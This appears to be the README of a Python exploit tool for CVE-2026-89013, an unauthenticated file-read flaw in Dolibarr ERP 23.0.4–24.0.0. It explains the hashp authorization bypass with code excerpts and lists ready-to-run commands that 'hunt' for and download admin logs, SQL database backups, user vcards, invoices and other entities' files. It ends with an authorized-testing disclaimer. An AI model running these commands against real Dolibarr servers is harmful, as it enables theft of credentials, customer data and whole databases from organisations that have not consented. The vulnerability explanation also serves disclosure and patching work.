针对 CVE-2026-89013 的漏洞利用:当存在 hashp 参数时,document.php 和 viewimage.php 会强制 NOLOGIN。内部标记值 shared 会跳过共享令牌解析,但访问控制覆盖仍会对任何非空值生效,并设置 $accessallowed = 1,从而丢弃 dol_check_secure_access_document() 的结果。因此,未经身份验证的请求可以读取每个 modulepart 树中的任意文件:业务文档、管理员日志、SQL 备份(modulepart=systemtools)、自定义模块源代码(modulepart=packages),以及通过 &entity=N 访问其他多公司实体。
| 受影响 | Dolibarr 23.0.4 – 24.0.0 |
| 已修复 | 24.0.1 |
| 前提条件 | 无(未经身份验证) |
| 影响 | 在 Dolibarr 管理的目录内任意文件读取 |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
这是提交 5028dae981e(2026-08-12)的回归,首次随 23.0.4 和 24.0.0 发布。路径遍历(../)在服务端已被清理——这是授权绕过,而非路径遍历。
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
仅使用标准库(Python 3.8+)。支持 --proxy、--insecure、--timeout。

仅用于授权测试和研究。仅可针对您拥有或已获得明确测试许可的系统使用。